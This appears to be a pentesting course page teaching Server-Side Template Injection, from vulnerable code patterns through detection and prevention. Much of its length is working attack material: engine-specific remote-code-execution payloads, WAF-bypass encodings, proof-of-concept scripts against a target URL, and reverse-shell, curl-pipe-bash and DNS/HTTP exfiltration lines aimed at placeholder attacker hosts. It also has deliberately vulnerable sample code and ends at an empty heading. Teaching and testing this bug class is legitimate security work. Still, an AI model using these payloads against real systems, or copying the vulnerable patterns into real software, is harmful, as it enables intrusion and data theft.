Server-SideFreeHardServer-Side

SSTI

A complete guide to understanding, detecting, exploiting, and preventing SSTI vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

Server-Side Template Injection (SSTI)

ANAS EDUCATION -- Bug Bounty & Pentesting Course (V2 Beginner-First)

SECTION 1. Introduction

Imagine you open your PC and visit `anasmarket.anastech.com`.

You sign up. The form asks for a display name. You type `Alex Doe`. You submit. A confirmation email arrives:

text
Hello Alex Doe,

Welcome to AnasMarket. Your account is ready.

-- AnasMarket

The greeting line is built like this on the server (Python + Flask + Jinja2):

python
template_str = "Hello " + user_display_name + ", welcome to AnasMarket!"
return render_template_string(template_str)

The server picks the template engine Jinja2 to render the email body. `render_template_string(...)` takes a string, treats it as a Jinja2 template, evaluates any template syntax inside it, and returns the rendered result. With `user_display_name = "Alex Doe"`, the template contains no special syntax, so the engine just emits the string as-is. Normal. Expected.

Now look at the same picture again, but with a question on top of it: what if the user's display name did contain template syntax?

A Jinja2 template uses `{{ ... }}` to mean "evaluate the expression inside and put the result here". For example, `{{7*7}}` is an expression that evaluates to `49`. Inside a normal request, the user has no business writing `{{7*7}}` as a name. But there is nothing in the server code that prevents it. The user changes their display name to:

text
{{7*7}}

The next email arrives:

text
Hello 49, welcome to AnasMarket.

`49` is not a name. `49` is the server saying: "I read your name as a template expression and evaluated 7*7." That single observation is the entire vulnerability class: the server is treating user-provided data as part of the template program. In Jinja2, that program has full access to Python.

The next display name:

text
{{config}}

The next email leaks the Flask configuration including `SECRET_KEY`, database URI, and AWS credentials embedded in environment variables.

Then:

text
{{cycler.__init__.__globals__.os.popen('id').read()}}

The email arrives:

text
Hello uid=33(www-data) gid=33(www-data) groups=33(www-data), welcome to AnasMarket.

Remote command execution as the web user. No SQL bug. No buffer overflow. No file upload. The user typed Python expressions as their display name and the server executed them.

This is Server-Side Template Injection (SSTI). The bug class that turns features designed to personalize content (emails, dashboards, error messages, custom templates) into a remote code execution engine.

This course teaches the SSTI bug class from zero. By the end you will know:

  • Why template engines are programs and why user input must never become program code.
  • How to fingerprint engines: Jinja2, Twig, Freemarker, Velocity, ERB, Handlebars, EJS, Pug, Razor, SpEL.
  • How to detect with one probe and escalate to RCE.
  • The 14 most reliable exploitation techniques (sandbox escape, attribute filters, WAF bypass, Tornado URL-encoded reverse shell, etc.).
  • How to prevent with the one architectural rule: pass user input as data, never as template source.

You do not need to be an expert in templates. You need to understand that `{{7*7}}` returning `49` means the server just executed `7*7` as code.

SECTION 2. How It Works

To find these bugs you first need to understand what a template engine does and where the security boundary lives.

Step 1. What a template engine is

A template engine takes:

  • A template string with placeholders (written by the developer).
  • A data dictionary with values (built from runtime input).

And produces a rendered string by substituting placeholders with values. Example in Jinja2:

python
render("Hello {{name}}!", {"name": "Alex"})
# -> "Hello Alex!"

The placeholder `{{name}}` means "look up `name` in the data dictionary and insert the value". Templates are not just strings; they are tiny programs. The engine parses them, evaluates expressions, calls functions, and accesses attributes.

Step 2. The two worlds: template space vs data space

Templates live in template space (trusted, written by the developer). User input lives in data space (untrusted, never evaluated). The wall between them is the entire security model.

text
TEMPLATE SPACE                  DATA SPACE
+--------------+                +-------------------+
| "Hello {{x}}"|                | { "x": "Alex" }   |
+------+-------+                +---------+---------+
       |                                  |
       v                                  v
trusted, code                  untrusted, never executed
parsed and evaluated           inserted as a value

Step 3. The fatal substitution

SSTI happens when user input crosses the wall and lands in template space.

Safe pattern (user input as data):

python
render("Hello {{name}}!", {"name": user_input})    # SAFE

Vulnerable pattern (user input concatenated into template source):

python
render("Hello " + user_input + "!")                 # DANGEROUS

In the first, the engine evaluates a fixed template and substitutes the value. The user can write `{{cycler.__init__...}}` all day and it never gets evaluated as code; it is just a string inserted into the rendered output.

In the second, the user's input IS the template source. Whatever expressions the user writes get evaluated.

Step 4. The damage scales with the engine

text
ENGINE                       WORST CASE
------                       ----------
Mustache (logic-less)        information disclosure
Twig (PHP)                   read context, sometimes RCE if sandbox off
ERB (Ruby)                   RCE (Ruby is fully exposed)
Jinja2 (Python)              RCE (Python sandbox escape chain)
Tornado (Python)             RCE (similar to Jinja2)
Mako (Python)                RCE
Freemarker (Java)            RCE (Java reflection)
Velocity (Java)              RCE (Java reflection)
Spring SpEL (Java)           RCE (T() operator + Runtime)
Handlebars (Node)            RCE (constructor.constructor)
EJS (Node)                   RCE (require)
Pug/Jade (Node)              RCE (global access)
Razor (.NET)                 RCE (System.Diagnostics)

In most modern engines, SSTI is RCE by default.

Step 5. The SSTI lifecycle

text
TIME ---------------------------------------------->
  [User input]
       |
       v
  [Concatenated into template source]
       |
       v
  [Template engine parses + evaluates]
       |
       v
  [Expression -> attribute lookups -> globals -> os.popen / Runtime.exec]
       |
       v
  [Command output returned in rendered string]

Step 6. Auto-escape does not prevent SSTI

Many engines auto-escape rendered output to prevent XSS. Auto-escape replaces `<`, `>`, `&`, `"`, `'` with HTML entities. This protects HTML output. It does nothing about template expression evaluation, because the expression is evaluated BEFORE the output is escaped. SSTI runs in a different layer entirely.

SECTION 3. Attack Flow

The walkthrough below shows a complete SSTI attack against a Flask + Jinja2 backend.

Step 1: Recon

Identify every field whose value is rendered back somewhere: profile name, bio, comment, support ticket, error message, redirect destination, shareable note, marketing template, custom dashboard widget.

Step 2: Universal detection probe

For each input, submit:

text
{{7*7}}

If the output (page, email, error message) contains `49`, the engine evaluated your input. SSTI confirmed.

Step 3: Engine fingerprinting

Send a small fingerprint set:

text
{{7*7}}        -> 49 in Jinja2/Twig/Django (some)/Tornado
{{7*'7'}}      -> "7777777" in Jinja2/Tornado (Python multiplication)
{{7*'7'}}      -> "49" in Twig (number multiplication)
${7*7}         -> 49 in Freemarker/Velocity/SpEL
<%=7*7%>       -> 49 in ERB/EJS
#{7*7}         -> 49 in Pug/Spring
@(7*7)         -> 49 in Razor
{$smarty.version}  -> Smarty version string

Compare outputs to the fingerprint table; identify the engine.

Step 4: Information disclosure

Try engine-specific introspection:

text
Jinja2:        {{config}}, {{request}}, {{self}}
Twig:          {{dump(app)}}, {{_self}}
Django:        {% debug %}, {{ settings.SECRET_KEY }}
Tornado:       {{handler}}, {{request}}

If secrets leak, document and move on to RCE.

Step 5: RCE chain

Use the engine-specific chain. For Jinja2:

text
{{cycler.__init__.__globals__.os.popen('id').read()}}

If the output contains `uid=`, RCE confirmed.

Step 6: Reverse shell (with care for special characters)

Special characters often break HTTP parsers; URL-encode the entire payload. For Tornado-style engines, write the command to a file first to avoid `>&` parsing issues:

text
{{ __import__('os').system('echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" > /tmp/s.sh && bash /tmp/s.sh') }}

URL-encoded:

text
%7B%7B__import__('os').system('echo%20%22bash%20-i%20%3E%26%20/dev/tcp/ATTACKER_IP/4444%200%3E%261%22%20%3E%20/tmp/s.sh%20%26%26%20bash%20/tmp/s.sh')%7D%7D

Step 7: Document

Save the engine, the exact payload, the exact response, and the chain that proves command execution.

ASCII timing diagram

text
TIME      ATTACKER                            TARGET
-----     ----------------------              -------------------------
T0        Probe {{7*7}}                ---->
T0+1                                          Renders "49"
T1        Fingerprint with {{7*'7'}}   ---->
T1+1                                          Renders "7777777" -> Jinja2
T2        Probe {{config}}              ---->
T2+1                                          Leaks Flask config + SECRET_KEY
T3        Probe {{cycler.__init__...}}  ---->
T3+1                                          Renders "uid=33(www-data)"
T4        URL-encoded reverse-shell       ---->
T4+1                                          Shell connects back

SECTION 4. Why Developers Make This Mistake

SSTI is a mental-model error. Developers confuse three layers that look alike but are very different.

Mistake 1: "Template engines are HTML escapers"

False. They are full expression evaluators. HTML escaping is a feature; expression evaluation is the purpose.

Mistake 2: "If I escape `<` and `>`, I am safe"

SSTI needs no angle brackets. `{{ ... }}`, `${ ... }`, `<%= %>`, `#{ ... }`, `@( ... )` are template syntax; they pass through any HTML escaper unscathed.

Mistake 3: "Only my marketing team can edit templates"

Any feature that lets a user provide a string that ends up as part of a template -- profile name, support ticket body, custom dashboard widget, error message -- is a vulnerability.

Mistake 4: "Auto-escape protects me"

Auto-escape prevents XSS by escaping the RENDERED output. SSTI is evaluated BEFORE rendering. Auto-escape is the wrong layer.

Mistake 5: "I use a sandboxed engine, so I am safe"

Sandboxes can be escaped. Jinja2's sandbox has documented escape chains. Twig's sandbox extension can be bypassed if it is misconfigured. Treat sandboxes as defense in depth, never as the only defense.

Mistake 6: "Personalization is too simple to be dangerous"

Personalization is exactly where SSTI lives. The bug is the concatenation, not the complexity.

SECTION 5. Beginner Summary

  • SSTI happens when user input becomes part of the template source rather than a data value passed to the engine.
  • The template engine evaluates the input as code: math, attribute access, function calls, in many engines all the way to OS commands.
  • Detection is one probe: `{{7*7}}`. If the response contains `49`, the bug exists. Then fingerprint and escalate.
  • In most engines (Jinja2, Tornado, Freemarker, Velocity, ERB, EJS, Pug, Razor, SpEL), SSTI leads directly to remote code execution.
  • Prevention is one rule: never concatenate user input into a template source string. Always pass it as a data value through the engine's variable substitution mechanism.

SECTION 6. Visual Explanation

Safe vs vulnerable

text
SAFE
+----------------+                       +-----------+
| Template (dev) |  --- engine --->      |  output   |
| "Hi {{x}}!"    |                       | "Hi Y!"   |
+-------+--------+                       +-----------+
        |
        +-- data {x: "Y"}     (user input, never evaluated)

VULNERABLE
+----------------+                       +-----------+
| Template (str) |  --- engine --->      |  RCE      |
| "Hi " + INPUT  |                       |           |
+-------+--------+                       +-----------+
        |
        +-- INPUT = "{{cycler.__init__...}}"   evaluated as Python

The five families of SSTI

text
              +------------------+
              |      SSTI        |
              +--------+---------+
                       |
   +-----------+-------+--------+----------+--------+
   |           |                |          |        |
   v           v                v          v        v
 Math      Info disclose    Sandbox     Filter   Tornado
 eval      {{config}}        escape     bypass   URL-encoded
 {{7*7}}   {{settings}}      {{cycler}} hex \x5f reverse
                             {{cls}}             shell
   |           |                |          |        |
   v           v                v          v        v
 confirm    secrets         code exec  defeat   exec on
            leaked                     WAFs     special
                                                chars

The fingerprinting table

text
+---------------+-----------------+---------------------------+
| Payload       | Result          | Engine                    |
+---------------+-----------------+---------------------------+
| {{7*7}}       | 49              | Jinja2, Twig, Django, Tor |
| {{7*'7'}}     | "7777777"       | Jinja2, Tornado (Python)  |
| {{7*'7'}}     | "49"            | Twig (number mult)        |
| ${7*7}        | 49              | Freemarker, Velocity, SpEL|
| <%=7*7%>      | 49              | ERB (Ruby), EJS (Node)    |
| #{7*7}        | 49              | Pug, Spring (limited)     |
| @(7*7)        | 49              | Razor (.NET)              |
| {$smarty.v}   | x.y.z           | Smarty                    |
| {{this}}      | [Object Object] | Handlebars, Mustache      |
+---------------+-----------------+---------------------------+

SECTION 7. Definition

Technical definition

Server-Side Template Injection is a vulnerability in which user-supplied input is incorporated into a template source string and subsequently parsed and evaluated by a server-side template engine, allowing an attacker to inject template-language expressions that the engine executes -- typically leading to sensitive information disclosure and remote code execution.

  • CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
  • CWE-94: Improper Control of Generation of Code (Code Injection)
  • OWASP Top 10 (2021): A03 Injection
  • Named and popularized by James Kettle (PortSwigger) in 2015.

Beginner-friendly definition

SSTI is when a website lets you type code that the server then runs as part of its template.

Why it matters

SSTI is one of the most powerful web vulnerabilities. Recent incidents and disclosures:

Common affected systems

  • CMS systems with custom templates.
  • Email engines that personalize messages with user data.
  • Marketing automation platforms with merge tags.
  • Low-code platforms that allow users to define their own template snippets.
  • Internal admin tools with string-concatenated templates.
  • Error pages that include request parameters.
  • PDF generators using template engines for layout.
  • Help-system / support tooling rendering ticket text.
  • Customer-portal "personalize your dashboard" features.

If a feature lets a user provide a string that becomes part of a server-side template, SSTI may live there.

SECTION 8. Examples

Example 1. AnasMarket Jinja2 email greeting

The feature. AnasMarket sends an order-confirmation email. The template is constructed by string concatenation:

python
template = "Hello " + name + ", your order is confirmed."
render_template_string(template)

The bug. User input becomes the template. Jinja2 evaluates any `{{...}}`.

The attack step by step.

  • Step 1: set profile name to `{{7*7}}`.
  • Step 2: trigger the order email; preview shows `Hello 49, ...`.
  • Step 3: set name to `{{cycler.__init__.__globals__.os.popen('id').read()}}`.
  • Step 4: email leaks `uid=33(www-data)`.
  • Step 5: escalate to reverse shell.

Example 2. AnasSocial Twig comment renderer

The feature. AnasSocial renders comments through Twig with a custom helper that builds the template dynamically:

php
$twig->createTemplate("Comment: " . $comment)->render();

The bug. `createTemplate` treats the argument as template source.

The attack step by step.

  • Step 1: post comment `{{7*7}}`. Display shows `49`.
  • Step 2: post `{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}`.
  • Step 3: Twig sandbox cracks; command execution.

Example 3. AnasCorp Freemarker reporting engine

The feature. AnasCorp's internal reporting tool lets analysts write report titles using Freemarker syntax for date formatting:

java
new Template("report", new StringReader("Title: " + reportTitle), config).process(...);

The bug. `reportTitle` is user-provided and used as template source.

The attack step by step.

  • Step 1: title `${7*7}` -> `49`.
  • Step 2: title `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}`.
  • Step 3: shell command runs as the report-server user.

Example 4. AnasOne ERB admin dashboard widgets

The feature. AnasOne's admin panel allows admins to write custom dashboard widgets using ERB syntax:

ruby
ERB.new(widget_template).result(binding)

The bug. Even though only admins can author widgets, any compromised admin account becomes full RCE because ERB is full Ruby.

The attack step by step.

  • Step 1: widget contains `<%= `id` %>` -> command output.
  • Step 2: replace with `<%= \`bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\` %>` -> reverse shell.

Example 5. AnasDocs Tornado SSTI with URL-encoded reverse shell

The feature. An AnasDocs microservice uses Tornado. It accepts a `name` query parameter and renders it in a welcome page:

python
template = "Welcome " + name + "!"
self.write(tornado.template.Template(template).generate())

The bug. Tornado evaluates `{{...}}` similar to Jinja2.

The attack step by step.

  • Step 1: probe `?name={{7*7}}` -> `49`.
  • Step 2: try `?name={{ __import__('os').system('bash -i >& /dev/tcp/ATTACKER/4444 0>&1') }}` -- Tornado returns 512 because raw `>&` breaks parsing.
  • Step 3: switch to a multi-step payload that writes the shell to disk:
text
{{ __import__('os').system('echo "bash -i >& /dev/tcp/ATTACKER/4444 0>&1" > /tmp/s.sh && bash /tmp/s.sh') }}
  • Step 4: URL-encode the entire payload:
text
%7B%7B__import__('os').system('echo%20%22bash%20-i%20%3E%26%20/dev/tcp/ATTACKER/4444%200%3E%261%22%20%3E%20/tmp/s.sh%20%26%26%20bash%20/tmp/s.sh')%7D%7D
  • Step 5: response code becomes 0 (success); reverse shell lands.

SECTION 9. Vulnerable Code

Python (Flask + Jinja2) -- critical SSTI

python
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/greet")
def greet():
    name = request.args.get("name", "guest")
    template = "Hello " + name + ", welcome to AnasMarket!"  # VULNERABLE
    return render_template_string(template)
  • User input concatenated into template source.
  • `render_template_string` evaluates the result as a Jinja2 template.

Python (Tornado) -- critical SSTI

python
class GreetHandler(tornado.web.RequestHandler):
    def get(self):
        name = self.get_argument("name")
        template = tornado.template.Template("Hello " + name + "!")  # VULNERABLE
        self.write(template.generate())

PHP (Twig) -- dangerous pattern

php
$comment = $_POST['comment'];
$template = $twig->createTemplate("Comment: " . $comment);  // VULNERABLE
echo $template->render();

`createTemplate` accepts a string as template source.

Java (Freemarker) -- critical SSTI

java
String reportTitle = request.getParameter("title");
Template t = new Template("report",
        new StringReader("Title: " + reportTitle), config);  // VULNERABLE
t.process(data, out);

Ruby (ERB) -- critical SSTI

ruby
get '/render' do
  user_input = params[:template]
  ERB.new(user_input).result(binding)   # VULNERABLE
end

ERB exposes Ruby completely.

Node.js (Handlebars misuse)

javascript
app.get('/render', (req, res) => {
  const template = handlebars.compile("Hello " + req.query.name);  // VULNERABLE
  res.send(template({}));
});

Node.js (EJS) -- critical SSTI

javascript
app.get('/render', (req, res) => {
  res.render(ejs.compile("Hello " + req.query.name)());  // VULNERABLE
});

Node.js (Pug)

javascript
const pug = require('pug');
app.get('/r', (req, res) => {
  res.send(pug.compile("p= " + req.query.name)());  // VULNERABLE
});

.NET (Razor) -- critical SSTI

csharp
public IActionResult Render(string template) {
    return Content(Razor.Parse(template));   // VULNERABLE
}

Razor is full C#.

Spring (SpEL evaluation of user input)

java
@GetMapping("/greet")
public String greet(@RequestParam String name) {
    ExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression("'Hello ' + " + name);  // VULNERABLE
    return exp.getValue(String.class);
}

SpEL injection ladders directly to RCE via `T(java.lang.Runtime).getRuntime().exec(...)`.

The universal pattern

  • 1. Read user input.
  • 2. Concatenate it into a string that becomes the template source (or pass it directly to the engine's "compile from string" function).
  • 3. The engine evaluates the result as a template program.
  • 4. Whatever expressions the user wrote get executed.

Step 2 is where the bug is born.

SECTION 10. Detection

Manual workflow

  • Step 1: identify every input that could end up in a rendered page, email, error message, or PDF: profile name, bio, search box, comment, signature, custom widget body, error message templates, redirect target, shareable note, merge tags, marketing templates.
  • Step 2: submit the universal probe `{{7*7}}` in each field.
  • Step 3: if the output contains `49`, the engine evaluated the input. SSTI confirmed.
  • Step 4: if `{{7*7}}` fails, walk the fingerprint set: `${7*7}`, `<%=7*7%>`, `#{7*7}`, `@(7*7)`, `${{7*7}}`, `{{'7'*7}}`, `{$smarty.version}`, `{{= 7*7 }}`.
  • Step 5: once an engine is identified, escalate with engine-specific introspection (see section 11).

Engine fingerprinting table

text
+----------------+-----------------+------------------------------------+
| Payload        | Output          | Engine                             |
+----------------+-----------------+------------------------------------+
| {{7*7}}        | 49              | Jinja2 / Twig / Django / Tornado   |
| {{'7'*7}}      | "7777777"       | Jinja2 / Tornado (Python str mult) |
| {{'7'*7}}      | "49"            | Twig (number multiplication)       |
| ${7*7}         | 49              | Freemarker / Velocity / Spring SpEL|
| <%=7*7%>       | 49              | ERB (Ruby) / EJS (Node)            |
| #{7*7}         | 49              | Pug/Jade / Spring (limited)        |
| @(7*7)         | 49              | Razor (.NET)                       |
| {{= 7*7 }}     | 49              | Mustache custom delimiters         |
| {$smarty.v}    | version string  | Smarty                             |
| {{this}}       | [object Object] | Handlebars / Mustache              |
| a{*comment*}b  | ab              | Smarty                             |
| {{:2*3}}       | 6               | JsRender                           |
+----------------+-----------------+------------------------------------+

Burp Suite

  • Send the request through Proxy, then to Intruder.
  • Use the fingerprint payload set as Intruder input.
  • Grep responses for `49`, `7777777`, math-result strings.
  • Use Burp Active Scanner to catch common SSTI shapes.
  • Use Backslash Powered Scanner (James Kettle BApp) which catches SSTI via differential analysis.

Automated tools

Indicators of vulnerability

  • Application emails personalize with user-provided text.
  • Error messages echo user input.
  • A form field labeled "template", "merge tag", "format", "expression", "custom layout".
  • Marketing, CMS, internal admin features with template editors.
  • Stack traces revealing engine names (Jinja2, Freemarker, Velocity).
  • Multi-tenant SaaS where users define their own UI snippets.
  • Help-system features rendering ticket bodies into HTML or PDF.
  • PDF generators using server-side templates.

If the application takes a string from you and renders it back, SSTI may live there.

SECTION 11. Exploitation

Workflow

  • 1. Detect with the `{{7*7}}` family of probes.
  • 2. Fingerprint the engine via syntax differences.
  • 3. Read the engine's documentation; identify dangerous primitives.
  • 4. Build payloads that escalate math eval -> info disclosure -> RCE.
  • 5. Encode payloads for safe HTTP transport (URL encoding for special characters).
  • 6. Drop a shell or exfiltrate sensitive files.
  • 7. Document with screenshots and exact payloads.

Techniques

1. Jinja2 sandbox escape (classic chain)

text
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{ __import__('os').popen('id').read() }}

2. Jinja2 class walking

text
{{''.__class__.__mro__[2].__subclasses__()}}
{{''.__class__.__mro__[2].__subclasses__()[INDEX]('id', shell=True, stdout=-1).communicate()}}

The `INDEX` of `subprocess.Popen` varies between Python versions. Use:

python
python3 -c "print([(i,x.__name__) for i,x in enumerate(().__class__.__base__.__subclasses__())])"

to find the index locally on a matching Python version.

3. Twig sandbox bypass

text
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}

Twig 1.x exposed `_self.env`. Twig 2+ is harder but vulnerable when the sandbox extension is disabled.

4. Freemarker Execute utility (Java reflection)

text
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${"freemarker.template.utility.Execute"?new()("id")}
[#assign ex='freemarker.template.utility.Execute'?new()]${ex('id')}
${"freemarker.ext.beans.BeansWrapper"?new().getStaticModels()["java.lang.Runtime"].getRuntime().exec("id")}

5. Velocity Java reflection

text
#set($a=7*7)$a
#set($e="")$e.getClass().forName("java.lang.Runtime").getRuntime().exec("id")
#set($cmd="id")$e.getClass().forName("java.lang.Runtime").getRuntime().exec($cmd)

6. Handlebars `constructor.constructor` to RCE

text
{{constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')()}}
{{constructor.constructor('return global.process.mainModule.require("child_process").execSync("id").toString()')()}}

7. ERB full Ruby execution

text
<%= `id` %>
<%= system('id') %>
<%= File.read('/etc/passwd') %>
<%= eval('system("id")') %>
<%= `bash -i >& /dev/tcp/ATTACKER/4444 0>&1` %>

8. EJS Node `require` chain

text
<%= require('child_process').execSync('id') %>
<%= require('fs').readFileSync('/etc/passwd').toString() %>
<%= global.process.mainModule.require('child_process').execSync('id') %>
<%= process.binding('spawn_sync').spawn({file:'id',args:['id'],stdio:[{type:'pipe'}]}).stdout %>

9. Pug/Jade global access

text
#{7*7}
- var sys = global.process.mainModule.require('child_process');
= sys.execSync('id').toString()

10. Razor .NET execution

text
@(7*7)
@System.Diagnostics.Process.Start("cmd.exe","/c whoami")
@System.IO.File.ReadAllText("C:\\Windows\\System32\\drivers\\etc\\hosts")

11. Hex-encoded WAF bypass (Jinja2 attribute filter)

When the WAF blocks `__class__` or `__globals__`, use hex encoding through `|attr`:

text
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

When `.` is filtered, use `|attr('name')`:

text
{{ ''|attr('__class__') }}                   instead of ''.__class__

When `_` is filtered, use string concatenation:

text
{{ request|attr(['__','class','__']|join) }}

When `[]` is filtered, use `getitem`:

text
{{request|attr('application')}}              instead of request['application']

When `{{` is filtered, use `{%`:

text
{% set x = ''.__class__ %}{{ x }}

12. Tornado URL-encoded reverse shell (multi-step shell drop)

When the engine refuses raw `&`, `>`, `<`, or pipe characters, write the command to a file first:

text
{{ __import__('os').system('echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" > /tmp/s.sh && bash /tmp/s.sh') }}

URL-encode the whole thing:

text
%7B%7B__import__('os').system('echo%20%22bash%20-i%20%3E%26%20/dev/tcp/ATTACKER_IP/4444%200%3E%261%22%20%3E%20/tmp/s.sh%20%26%26%20bash%20/tmp/s.sh')%7D%7D

If response code is 0, the command ran. If response is 512, the engine rejected; switch to `subprocess.Popen`:

text
{{ __import__('subprocess').Popen(['bash','-c','curl http://ATTACKER/s.sh | bash'], shell=False).communicate() }}

13. Out-of-band (blind) SSTI exfiltration

When output is not echoed back:

text
{{__import__('socket').gethostbyname('CMD.attacker.com')}}      DNS exfil
{{__import__('urllib.request').urlopen('http://attacker.com/?d='+CMD)}}   HTTP exfil
{{__import__('time').sleep(10)}}                                 time confirm

14. Information disclosure via context dumps

  • Jinja2/Flask: `{{config}}`, `{{request}}`, `{{session}}`.
  • Django: `{% debug %}`, `{{ settings.SECRET_KEY }}`.
  • Tornado: `{{handler}}`, `{{request}}`.
  • Twig: `{{dump(app)}}`, `{{_self}}`, `{{_context}}`.

15. Spring SpEL injection

text
${T(java.lang.Runtime).getRuntime().exec("id")}
${T(java.lang.System).getenv()}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

16. Custom-method business-logic SSTI

When the engine exposes application-specific methods (e.g., `user.gdprDelete()`, `user.setAvatar(file_path)`), chain those for impact even when generic RCE is sandboxed.

Common mistakes

  • Testing only `{{7*7}}` and giving up when it fails. Always run the full fingerprint set.
  • Confusing client-side template injection (AngularJS, Vue) with server-side. CSTI is XSS-class, SSTI is RCE-class.
  • Forgetting to URL-encode payloads with `>`, `&`, `<`, quotes.
  • Stopping at "math works" without escalating to RCE.
  • Reporting `49` as critical without proving RCE or sensitive data access.
  • Not trying alternative tags (Jinja2 has `{{}}`, `{%%}`, `{##}`).

SECTION 12. Proof of Concept

Burp Suite

  • 1. Capture the request containing the user-controlled field.
  • 2. Send to Repeater.
  • 3. Replace input with `{{7*7}}`. Send. If `49` appears, SSTI confirmed.
  • 4. Try engine-specific RCE chain.
  • 5. URL-encode special characters for transport.
  • 6. Save request/response pair.

Python detection PoC

python
import requests

TARGET = "https://target.anastech.com/greet"
PROBES = [
    "{{7*7}}",
    "${7*7}",
    "<%=7*7%>",
    "${{7*7}}",
    "#{7*7}",
    "{{'7'*7}}",
    "@(7*7)",
]

for probe in PROBES:
    r = requests.get(TARGET, params={"name": probe}, verify=False, timeout=10)
    body = r.text
    if "49" in body or "7777777" in body:
        print(f"[+] SSTI confirmed with probe: {probe}")
        print(f"    snippet: {body[:200]}")
        break

Python Jinja2 RCE PoC

python
import requests

TARGET = "https://target.anastech.com/greet"
PAYLOAD = "{{cycler.__init__.__globals__.os.popen('id').read()}}"

r = requests.get(TARGET, params={"name": PAYLOAD}, verify=False)
print(r.text)

Bash Tornado reverse-shell PoC

bash
ATTACKER_IP="10.0.0.1"
ATTACKER_PORT="4444"

PAYLOAD="{{ __import__('os').system('echo \"bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1\" > /tmp/s.sh && bash /tmp/s.sh') }}"
ENCODED=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$PAYLOAD")

# Listener (separate terminal): nc -lvnp 4444

curl -sk "https://target.anastech.com/?name=${ENCODED}"

PowerShell PoC

powershell
$payload = "{{ __import__('os').popen('whoami').read() }}"
$encoded = [System.Web.HttpUtility]::UrlEncode($payload)
Invoke-RestMethod -Uri "https://target.anastech.com/greet?name=$encoded" -SkipCertificateCheck

Node.js PoC

javascript
const axios = require('axios');

const TARGET = 'https://target.anastech.com/greet';
const PAYLOAD = "{{cycler.__init__.__globals__.os.popen('id').read()}}";

(async () => {
  const r = await axios.get(TARGET, { params: { name: PAYLOAD } });
  console.log(r.data);
})();

Tplmap

bash
git clone https://github.com/epinna/tplmap
cd tplmap
pip install -r requirements.txt

# Detect
python tplmap.py -u "https://target.anastech.com/greet?name=*"

# Auto-exploit to OS shell
python tplmap.py -u "https://target.anastech.com/greet?name=*" --os-shell

SSTImap (modern fork)

bash
git clone https://github.com/vladko312/SSTImap
cd SSTImap
python sstimap.py -u "https://target.anastech.com/greet?name=test" --os-shell

SECTION 13. Payloads

Universal detection

text
{{7*7}}
{{7+7}}
${7*7}
<%=7*7%>
${{7*7}}
#{7*7}
{{'7'*7}}
@(7*7)
{{:2*3}}
{$smarty.version}
{{= 7*7 }}

Jinja2 (Python)

text
{{7*7}}
{{7*'7'}}
{{config}}
{{request}}
{{self}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[2].__subclasses__()}}
{{ __import__('os').system('id') }}

Twig (PHP)

text
{{7*7}}
{{dump(app)}}
{{_self}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}

Freemarker (Java)

text
${7*7}
${.vars}
${.data_model}
${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Velocity (Java)

text
#set($a=7*7)$a
$context
#set($e="")$e.getClass().forName("java.lang.Runtime").getRuntime().exec("id")

ERB (Ruby)

text
<%= 7*7 %>
<%= `id` %>
<%= system('id') %>
<%= File.read('/etc/passwd') %>
<%= `bash -i >& /dev/tcp/ATTACKER/4444 0>&1` %>

Handlebars (Node.js)

text
{{this}}
{{constructor}}
{{constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')()}}

EJS (Node.js)

text
<%= 7*7 %>
<%= require('child_process').execSync('id') %>
<%= require('fs').readFileSync('/etc/passwd').toString() %>

Pug/Jade (Node.js)

text
#{7*7}
- var sys = global.process.mainModule.require('child_process');
= sys.execSync('id').toString()

Razor (.NET)

text
@(7*7)
@System.Diagnostics.Process.Start("cmd.exe","/c whoami")
@System.IO.File.ReadAllText("C:\\Windows\\System32\\drivers\\etc\\hosts")

Mustache (logic-less)

text
{{7*7}}        usually fails (logic-less)
{{this}}       dumps context
{{.}}          current value
{{#each this}}{{@key}}{{/each}}

Spring SpEL

text
${T(java.lang.Runtime).getRuntime().exec("id")}
${T(java.lang.System).getenv()}

Django

text
{% debug %}
{{ settings.SECRET_KEY }}
{{ request.user.is_superuser }}

Smarty (PHP)

text
{$smarty.version}
{php}echo `id`;{/php}

WAF-bypass set (Jinja2)

text
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{% set x = ''.__class__ %}{{ x }}
{{ ''|attr('__class__') }}
{{ request|attr(['__','class','__']|join) }}

Tornado URL-encoded reverse shell

text
